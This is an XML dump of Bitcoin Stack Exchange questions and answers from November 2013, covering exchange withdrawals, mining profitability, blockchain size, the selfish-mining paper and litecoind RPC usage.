  <row Id="14311" PostTypeId="1" CreationDate="2013-11-04T09:26:30.227" Score="0" ViewCount="1390" Body="&lt;p&gt;I have purchased bitcoins from MtGox and they appear in my account. However, I can't figure out how to get them into my wallet.&lt;/p&gt;&#xA;" OwnerUserId="7490" LastEditorUserId="5406" LastEditDate="2013-11-04T09:52:19.757" LastActivityDate="2013-11-04T09:52:19.757" Title="Getting Bitcoins into my wallet from MtGox" Tags="|mtgox|withdrawal|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-07T09:31:10.150" ContentLicense="CC BY-SA 3.0" />
  <row Id="14312" PostTypeId="2" ParentId="13456" CreationDate="2013-11-04T09:31:40.903" Score="4" Body="&lt;p&gt;Litecoin uses scrypt instead of sha as its crypto function.&#xA;Scrypt is a memory hungry algo, so it's very difficult to have efficent implementation on ASIC or FPGA at current technology.&#xA;This choice was made to prevent ASIC and FPGA specialized mining in favour of more diffuse and generalized mining with standard hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&#xA;After just about 3 months my answer is old.&#xA;There are company working on ASIC chip for scrypt promising release during current year&lt;/p&gt;&#xA;" OwnerUserId="6693" LastEditorUserId="6693" LastEditDate="2014-01-30T23:57:27.630" LastActivityDate="2014-01-30T23:57:27.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14314" PostTypeId="2" ParentId="14311" CreationDate="2013-11-04T09:51:14.160" Score="0" Body="&lt;p&gt;I don't have a MtGox account myself, but you should be able to find a function on MtGox that is called &quot;withdrawal&quot; or similar. There it will ask you to provide your Bitcoin address and set the amount that you want to withdraw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to use one of your own addresses from the wallet (depending on what wallet you use look for &quot;receive payment&quot; or &quot;your address&quot;), it has happened before that people used an address of one of their business contacts instead of their own.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-11-04T09:51:14.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14315" PostTypeId="5" CreationDate="2013-11-04T09:56:42.503" Score="0" Body="&lt;p&gt;The process of returning funds from an exchange or online wallet to your own wallet or bank account.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-11-04T21:16:22.997" LastActivityDate="2013-11-04T21:16:22.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14316" PostTypeId="4" CreationDate="2013-11-04T09:56:42.503" Score="0" Body="The process of returning funds from an exchange or online wallet to your own wallet or bank account." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-11-04T21:18:54.093" LastActivityDate="2013-11-04T21:18:54.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14317" PostTypeId="5" CreationDate="2013-11-04T10:03:36.097" Score="0" Body="&lt;p&gt;Blockchain Ltd. is a company that offers a web wallet service and a blockchain explorer. The blockchain explorer is hosted under the domain &lt;code&gt;blockchain.com&lt;/code&gt; and should not be confused with the actual Bitcoin blockchain.&lt;/p&gt;&#xA;&lt;p&gt;This tag should be used for questions relating to any of the services provided by Blockchain Ltd. This includes questions about using their web wallet, their APIs, and their blockchain explorer.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="38618" LastEditDate="2021-03-06T20:16:19.780" LastActivityDate="2021-03-06T20:16:19.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14318" PostTypeId="4" CreationDate="2013-11-04T10:03:36.097" Score="0" Body="Blockchain Ltd. is a company that offers a web wallet and provides a blockchain explorer under the domain blockchain.com." OwnerUserId="5406" LastEditorUserId="13866" LastEditDate="2023-05-11T13:46:02.803" LastActivityDate="2023-05-11T13:46:02.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14321" PostTypeId="2" ParentId="13819" CreationDate="2013-11-04T13:26:04.483" Score="1" Body="&lt;p&gt;You can try downloading &lt;strong&gt;bootstrap.dat&lt;/strong&gt; from the torrent at sourceforge as suggested in the answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11592/is-there-a-newer-bitcoin-blockchain-download-available/11819#11819&quot;&gt;Is there a newer Bitcoin blockchain download available?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of its format, the client will verify the integrity and the bottleneck will switch from your download speed to your CPU speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is the link to the torrent file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6756" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-11-04T13:26:04.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14322" PostTypeId="1" CreationDate="2013-11-04T13:32:02.633" Score="2" ViewCount="1820" Body="&lt;p&gt;How many wallets is there in existence(that are unique with bitcoins)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any page with statistics that can give a bigger perspective other than figuring out the data structure of the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning is it possible to get all the public keys for all the transactions ever made?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it seems like the public keys aren't stored in the blockchain, instead it's the addresses which is a hash of the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i correct that's impossible to find out the public keys of all transactions(Unless you bruteforce them which is practically impossible)?&lt;/p&gt;&#xA;" OwnerUserId="7494" LastEditorUserId="7494" LastEditDate="2013-11-04T15:24:12.977" LastActivityDate="2013-11-10T23:02:31.380" Title="How many public keys is there?" Tags="|blockchain|wallet|public-key|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14324" PostTypeId="1" AcceptedAnswerId="14354" CreationDate="2013-11-04T15:53:32.760" Score="2" ViewCount="8718" Body="&lt;p&gt;I have an address :LUiTUnmBLQ6mvCXk2YNxiU7cZQdty1pToV&#xA;when I check it on &lt;a href=&quot;http://block-explorer.com/address/LUiTUnmBLQ6mvCXk2YNxiU7cZQdty1pToV&quot; rel=&quot;nofollow&quot;&gt;http://block-explorer.com/address/LUiTUnmBLQ6mvCXk2YNxiU7cZQdty1pToV&lt;/a&gt;&#xA;I get Received: 1,199.9 LTC. is there another way to check it throw API or the wallet RPC ? &#xA;keep in mind the address is not on my wallet but is from a wallet that is disconnected from internet.&#xA;I've tried to call method : &#xA;￼&#xA;getreceivedbyaddress LUiTUnmBLQ6mvCXk2YNxiU7cZQdty1pToV 1&#xA;on my local wallet&#xA;but get zero.&lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2018-04-23T02:56:57.800" Title="How to get litecoin address balance?" Tags="|litecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14325" PostTypeId="1" CreationDate="2013-11-04T16:00:10.363" Score="2" ViewCount="2937" Body="&lt;p&gt;I am exploring this Bitcoin thing and yesterday installed the Bitcoin-Qt.&#xA;The first thing that I noted, is that the after syncing with the network that took me 12 hours, the database grew to 13GB. I know that these are all the blocks in a chain from the beginning of time.&#xA;My question is what is the sense and the theoretical practicality behind this approach? Imagine if all the world will start to use bitcoins, the blockchain will grow to terabytes and   will multiply exponentially on a daily basis.&#xA;Imagine if USA will embrace Bitcoin as its official currency, the size of blockchain will grow few Petabytes daily.&#xA;The bottom line is that at these sizes it will become impossible to validate transactions and even simply store or use the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is if I am missing something here, because I don't see any long term and general usage capabilities here?&lt;/p&gt;&#xA;" OwnerUserId="7498" LastEditorUserId="2306" LastEditDate="2015-10-01T19:00:45.620" LastActivityDate="2015-10-01T19:00:45.620" Title="Bitcoin blockchain size practicality" Tags="|blockchain|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-07T09:31:49.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="14326" PostTypeId="1" AcceptedAnswerId="14333" CreationDate="2013-11-04T16:17:44.070" Score="13" ViewCount="2121" Body="&lt;p&gt;A very interesting academic paper has been recently published by two researches from the Cornell University (&lt;a href=&quot;http://arxiv.org/abs/1311.0243&quot;&gt;abstract&lt;/a&gt;, &lt;a href=&quot;http://arxiv.org/pdf/1311.0243v1.pdf&quot;&gt;full PDF&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Abstract&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The Bitcoin cryptocurrency records its transactions in a public log&#xA;  called the blockchain. Its security rests critically on the&#xA;  distributed protocol that maintains the blockchain, run by&#xA;  participants called miners.  Conventional wisdom asserts that the&#xA;  protocol is incentive-compatible and secure against colluding minority&#xA;  groups, i.e., it incentivizes miners to follow the protocol as&#xA;  prescribed. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We show that the Bitcoin protocol is not incentive-compatible. We&#xA;  present an attack with which colluding miners obtain a revenue larger&#xA;  than their fair share.  This attack can have significant consequences&#xA;  for Bitcoin: Rational miners will prefer to join the selfish miners,&#xA;  and the colluding group will increase in size until it becomes a&#xA;  majority. At this point, the Bitcoin system ceases to be a&#xA;  decentralized currency. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Selfish mining is feasible for any group size of colluding miners. We&#xA;  propose a practical modification to the Bitcoin protocol that protects&#xA;  against selfish mining pools that command less than 1/4 of the&#xA;  resources.  This threshold is lower than the wrongly assumed 1/2&#xA;  bound, but better than the current reality where a group of any size&#xA;  can compromise the system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The article suggests that miners who group together can earn more than their fair share, which means rational miners will eventually group together into a pool whose size is larger than half the network's computation power and control the currency. The method was termed &quot;selfish mining&quot; by the media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be the first serious cryptographic exploit of the Bitcoin protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think this poses a real threat to the stability of the currency?&lt;/p&gt;&#xA;" OwnerUserId="415" LastEditorUserId="2306" LastEditDate="2015-04-15T19:51:06.303" LastActivityDate="2015-04-15T19:51:06.303" Title="Colluding miners attack: Is the Bitcoin protocol compromised?" Tags="|mining-pools|security|academic-research|selfish-mining|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14327" PostTypeId="1" AcceptedAnswerId="14343" CreationDate="2013-11-04T17:04:37.863" Score="0" ViewCount="216" Body="&lt;p&gt;I am currently investing into a new gaming PC with a Radeon HD 7990. According to objective reviews (e.g. &lt;a href=&quot;http://www.extremetech.com/computing/154136-radeon-hd-7990-review-amds-dual-gpu-powerhouse-kicks-off-a-gaming-renaissance/4&quot; rel=&quot;nofollow&quot;&gt;ExtremeTech Review&lt;/a&gt;) this card outperforms many the competitors on the market, especially when it comes to bitcoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I played around with the expert settings of the &lt;a href=&quot;http://www.coinish.com/calc/#&quot; rel=&quot;nofollow&quot;&gt;Coinish Bitcoin calculater&lt;/a&gt;, I quickly realized, that even with my cheapest energy provider (~0.1$/KWh) I will not be able to break even, considering the price of the card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition I tried the same calculation with the values of high-end asic devices that I found available online, similar results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this calculator too pessimistic or is it really not possible to expect a solid ROI with high-end hardware (GPU or asic) at the moment (End of 2013).&lt;/p&gt;&#xA;" OwnerUserId="7499" LastEditorUserId="5406" LastEditDate="2013-11-04T22:14:43.087" LastActivityDate="2013-11-05T08:29:51.397" Title="Why are the results of the Coinish Bitcoin calculate so grim?" Tags="|gpu|mining-profitability|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14329" PostTypeId="2" ParentId="14322" CreationDate="2013-11-04T17:30:01.030" Score="4" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; You are not aware of the total number of users, but total number of transactions. In order to speculate the number of wallets (mean the number of users), you can adopt some heuristics, but that's all estimation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, a user can obtain multiple public keys. In order to get the number of public keys, you should firstly parse and extract the bitcoin transaction network that is publicly available. For example, in &lt;a href=&quot;https://github.com/ivan-brugere/Bitcoin-Transaction-Network-Extraction&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; dataset, created on Jan 6 2013, there are 8.864.955 public keys.&#xA;That's the easy part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to calculate the number of users participating in bitcoin networks, you have to adopt some heuristics, as those data are not publicly available, due to the anonymity that is offered by bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first heuristic could be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When a single transaction has multiple input addresses, we can assume that those addresses belong to the same wallet, thus to the same user. We should bear in mind that users do not share private keys. In fact many users may use web wallets which have pools, so those services will be treated as a single user. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Secondly, you can exploit the change mechanism in transactions. The entire value of unspent output should be sent back to the user as change. Bitcoin, in order to improve anonymity, produces a shadow address which collects back the change that results from any transaction. So when a single transaction has 2 outputs, you have to predict which one of the output addresses is actually belonging to the same user that initiated the transaction. If one of those two outputs has never appeared before in the blockchain, while the other has, then we can  assume that the one that never appeared before is the shadow address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can read this heuristics in more detail in &lt;a href=&quot;http://miki.it/pdf/thesis.pdf&quot; rel=&quot;nofollow&quot;&gt;BitIodine&lt;/a&gt; paper. In this work, there are 2.175.621 users found, using the above methodologies.&lt;/p&gt;&#xA;" OwnerUserId="6781" LastEditorUserId="6781" LastEditDate="2013-11-10T23:02:31.380" LastActivityDate="2013-11-10T23:02:31.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14332" PostTypeId="2" ParentId="14324" CreationDate="2013-11-04T18:51:19.313" Score="1" Body="&lt;p&gt;When I do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;litecoind getreceivedbyaddress LUiTUnmBLQ6mvCXk2YNxiU7cZQdty1pToV&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this will always be 0.000 unless the address in your &lt;code&gt;wallet.dat&lt;/code&gt;. One way would just be to include that addresses &lt;code&gt;wallet.dat&lt;/code&gt; file in your &lt;code&gt;litecoind&lt;/code&gt; directory and then just do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;litecoind getbalance&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-04T18:51:19.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14333" PostTypeId="2" ParentId="14326" CreationDate="2013-11-04T19:17:29.347" Score="4" Body="&lt;p&gt;The report is not heavily disputed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the hours following the paper's release, several developers are discussing solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mail-archive.com/bitcoin-development@lists.sourceforge.net/msg03128.html&quot; rel=&quot;nofollow&quot;&gt;http://www.mail-archive.com/bitcoin-development@lists.sourceforge.net/msg03128.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=324413.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=324413.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There has not been any evidence that such an attack is imminent or likely even.  And remember, even an attacker with 51% cannot do much.  One risk is that a transaction could be canceled after it has confirmations, if the selfish pool is that much further ahead.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-11-04T19:23:01.063" LastActivityDate="2013-11-04T19:23:01.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14335" PostTypeId="2" ParentId="14327" CreationDate="2013-11-04T19:55:48.487" Score="2" Body="&lt;p&gt;I started around March with 2 GPU's. My electricity is free and bitcoin price has tripled since then. I still haven't come close breakeven.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back then I knew it would take a long time, and I knew the ASICs were coming. I did it purely out of interest and fun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There really is no other reason to start GPU mining now. Even with everything free, it's just wear and tear on the hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the answer is: that calculator is probably right. Math doesn't lie, I guess.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-11-04T19:55:48.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14336" PostTypeId="2" ParentId="14325" CreationDate="2013-11-04T20:13:26.533" Score="0" Body="&lt;p&gt;Work is being done on cleaning up the database by getting rid of obsolete data, although full nodes would probably always want to keep everything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that non-full nodes, like a wallet app on your phone, don't need the full 19GB at all and are really quick already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind that disk size and network speed keep growing as well, so we still have quite some time to go before this would really become a problem.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-11-04T20:13:26.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14337" PostTypeId="2" ParentId="14301" CreationDate="2013-11-04T20:21:23.800" Score="0" Body="&lt;p&gt;Depends on the people you meet with. Dangers range from getting mugged to ending up with fake bills, as in this story:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://letstalkbitcoin.com/e50-moneys-we-believe-in/#.UngBC8PXt2U&quot; rel=&quot;nofollow&quot;&gt;http://letstalkbitcoin.com/e50-moneys-we-believe-in/#.UngBC8PXt2U&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Haven't tried it myself yet, but from what I hear it's generally a good way to trade bitcoins. Just be extra careful.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-11-04T20:21:23.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14338" PostTypeId="1" AcceptedAnswerId="14339" CreationDate="2013-11-04T20:40:49.387" Score="3" ViewCount="969" Body="&lt;p&gt;I'm seeing conflicting claims about whether  &lt;code&gt;bitcoind&lt;/code&gt; can still do CPU-based mining. As far back as 2011 people were saying that feature was going to &quot;soon&quot; be removed. Was mining removed?&#xA;By the way if mining is removed from &lt;code&gt;bitcoind&lt;/code&gt;, what are the things it can still do?&lt;/p&gt;&#xA;" OwnerUserId="7502" LastEditorUserId="5406" LastEditDate="2016-03-16T10:59:27.267" LastActivityDate="2017-02-12T15:55:46.650" Title="Can bitcoind still do CPU-based mining or was that feature removed?" Tags="|bitcoind|miner-configuration|cpu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14339" PostTypeId="2" ParentId="14338" CreationDate="2013-11-04T21:26:05.040" Score="2" Body="&lt;p&gt;It is still there as of version 0.8.5, but just a reference implementation. It's not optimized, doesn't support pooled mining, and is not exposed via the Qt GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable, start with the -gen option. But other than testnet (and even there...), it's utterly pointless.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-11-04T21:26:05.040" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="14341" PostTypeId="2" ParentId="12912" CreationDate="2013-11-04T21:38:29.253" Score="0" Body="&lt;p&gt;Namecoin is better than Bitcoin for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a project that supports uploading files onto and downloading files from the namecoin blockchain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/runn1ng/namecoin-files&quot; rel=&quot;nofollow&quot;&gt;https://github.com/runn1ng/namecoin-files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6767" LastActivityDate="2013-11-04T21:38:29.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14342" PostTypeId="1" AcceptedAnswerId="14355" CreationDate="2013-11-04T22:25:52.077" Score="3" ViewCount="614" Body="&lt;p&gt;I'm looking for the git tag of &lt;code&gt;Bitcoin&lt;/code&gt; at the time of the fork as well as &lt;code&gt;litecoin&lt;/code&gt; after the fork&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="5406" LastEditDate="2017-09-02T18:22:35.017" LastActivityDate="2017-09-02T18:22:35.017" Title="When did litecoin fork bitcoin?" Tags="|litecoin|history|project-fork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14343" PostTypeId="2" ParentId="14327" CreationDate="2013-11-04T22:26:01.720" Score="2" Body="&lt;p&gt;The market has progressed to ASIC miners, which are better adapted to the singular task of mining. ASICs generate much greater hash-rates and are much more energy efficient at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the advent of ASIC miners the difficulty has been growing immensely: Since the review you linked was published in April the network's total hash-rate has grown &lt;strong&gt;40-fold&lt;/strong&gt;. The review lauding it for it's bitcoin mining capacity is simply outdated - even ASIC miners drown in the flood of competition by now.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-11-05T08:29:51.397" LastActivityDate="2013-11-05T08:29:51.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14346" PostTypeId="1" AcceptedAnswerId="14349" CreationDate="2013-11-05T02:00:06.263" Score="14" ViewCount="72803" Body="&lt;p&gt;I understand that during mining, one does not discover individual coins, but rather blocks of coins, and I heard that one block equals many coins (but how many?). I am wondering though, as a solo miner, what are the odds of discovering a new block? I guess this depends on my hardware but if we say that a GPU is 10 times faster than a CPU, and a $10 USB ASIC device is 1000 times faster than a CPU, and a $300 mining box is 5000 times faster than a CPU, perhaps one can adjust the odds estimations to reflect that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how many BTC would I obtain if I discovered a block?&#xA;This website &lt;a href=&quot;http://blockexplorer.com/&quot;&gt;http://blockexplorer.com/&lt;/a&gt; seems to how a variable number.&#xA;But it seems a bit like winning a lottery.&lt;/p&gt;&#xA;" OwnerUserId="7502" LastEditorUserId="5406" LastEditDate="2016-03-07T10:32:03.340" LastActivityDate="2021-12-18T09:20:48.887" Title="What are the odds of discovering a block as a solo miner?" Tags="|mining-profitability|hashpower|solo-mining|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14348" PostTypeId="2" ParentId="14041" CreationDate="2013-11-05T03:15:54.043" Score="1" Body="&lt;p&gt;I also am having trouble getting the hashes to match on a Windows system (MultiBit, Bitcoin-Qt .zip and .exe).  I am using Microsoft's &quot;unsupported&quot; tool that the &quot;hash document&quot; references.  I suspect that I will have better results using Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In response to your specific issue, the &quot;$&quot;  at the beginning of the command is the actual prompt.  This implies the command is being entered in a linux\UNIX &quot;shell&quot; (i.e. bash shell).  If it were a windows system you would see something like &quot;C:\User\Sam&gt; echo &quot;Hello world&quot; &gt; example.txt&quot;  The command still works in windows, but as you pointed out the output file is different.  In Linux/UNIX the same command would yield a file with only: Hello world     No punctuation, extra spaces or lines.  Therefore, the hash would be different under linux vs windows following the same command-line input.&lt;/p&gt;&#xA;" OwnerUserId="7510" LastActivityDate="2013-11-05T03:15:54.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14349" PostTypeId="2" ParentId="14346" CreationDate="2013-11-05T04:04:32.947" Score="18" Body="&lt;p&gt;Take the total network Th/s and divide by your total Th/s. That tells you on average how many blocks will occur before you get one.&lt;/p&gt;&#xA;&lt;p&gt;So if there is currently 3,666 Th/s on the network, and you have a 0.55 Th/s (like you would if you have a $5,000 KNCMiner Jupiter ASIC), then 3,666/0.55 = 6,665.&lt;/p&gt;&#xA;&lt;p&gt;That means you have 1/6,665ths of total hashing capacity. There will be 6,665 blocks before you get one.&lt;/p&gt;&#xA;&lt;p&gt;So if there are 144 blocks in a day, then you need to wait 46.28 days to get a block when mining solo with that hardware. But that is assuming difficulty doesn't rise. With a rising difficulty you would end up waiting much longer, and possibly never end up getting a block when solo mining.&lt;/p&gt;&#xA;&lt;p&gt;That's why solo mining is not as profitable as using a pool for anyone without tens of Th/s nowadays.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="69984" LastEditDate="2021-12-18T09:20:48.887" LastActivityDate="2021-12-18T09:20:48.887" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="14352" PostTypeId="2" ParentId="14306" CreationDate="2013-11-05T05:16:07.023" Score="2" Body="&lt;p&gt;I think I figured it out. &quot;curl&quot; doesn't add the &quot;Content-Type&quot; header, which seems important to the pool when parsing the JSON body. Adding that header fixed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a working curl command would be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;curl -H &quot;Content-Type: application/json&quot; -u [Wallet ID:gibbrish] -d '{&quot;id&quot;: 0, &quot;method&quot;: &quot;getblocktemplate&quot;, &quot;params&quot;: [{&quot;capabilities&quot;: [&quot;coinbasetxn&quot;, &quot;workid&quot;, &quot;coinbase/append&quot;]}]}' http://[Pool IP:Port]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="287" LastActivityDate="2013-11-05T05:16:07.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14354" PostTypeId="2" ParentId="14324" CreationDate="2013-11-05T06:10:25.517" Score="0" Body="&lt;p&gt;Sites that offer this kind of capability are running custom code and databases that parse more information from the block chain than what &lt;code&gt;litecoind&lt;/code&gt; provides out-of-the-box. Right now, you would need a patch to &lt;code&gt;litecoind&lt;/code&gt; to enable &quot;watchonly&quot; or setup an &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow noreferrer&quot;&gt;ABE&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="1652" LastEditDate="2018-04-23T02:56:57.800" LastActivityDate="2018-04-23T02:56:57.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14355" PostTypeId="2" ParentId="14342" CreationDate="2013-11-05T06:12:17.850" Score="2" Body="&lt;p&gt;Since the v0.8 release Litecoin is developed using patches to the Bitcoin code base. &lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="5406" LastEditDate="2013-11-05T08:18:02.790" LastActivityDate="2013-11-05T08:18:02.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14356" PostTypeId="2" ParentId="14246" CreationDate="2013-11-05T06:17:42.980" Score="1" Body="&lt;p&gt;Actually, Litecoin-Qt/litecoind v0.8.5.2 and probably several v0.8 releases before do support these api calls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The --help doesn't seem to have any entries on these commands but this is true of Bitcoin-Qt/bitcoind as well so if you want to submit a bug report or code it and submit a pull request, please do so at &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2013-11-05T06:17:42.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14358" PostTypeId="1" AcceptedAnswerId="14384" CreationDate="2013-11-05T14:45:03.753" Score="2" ViewCount="256" Body="&lt;p&gt;The two main problems generally mentioned that payment protocol &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0070&quot; rel=&quot;nofollow&quot;&gt;“BIP 0070” (Andresen, 29-07-2013)&lt;/a&gt; is supposed to solve are usability and protection against Man-In-The-Middle attacks. In the latter the attacker would substitute an address he owns for the merchant's address when the payment address is shown to the customer. This could result in the customer paying the attacker instead of the merchant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has this attack been done before? If so, how was it implemented?&#xA;Or is this just a theoretical problem?&lt;/p&gt;&#xA;" OwnerUserId="7036" LastEditorUserId="2306" LastEditDate="2015-01-07T05:13:15.790" LastActivityDate="2015-01-07T05:13:15.790" Title="Has the payment protocol – which is supposed to protect against Man-In-The-Middle attacks – ever been implemented?" Tags="|security|bip70-payment-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
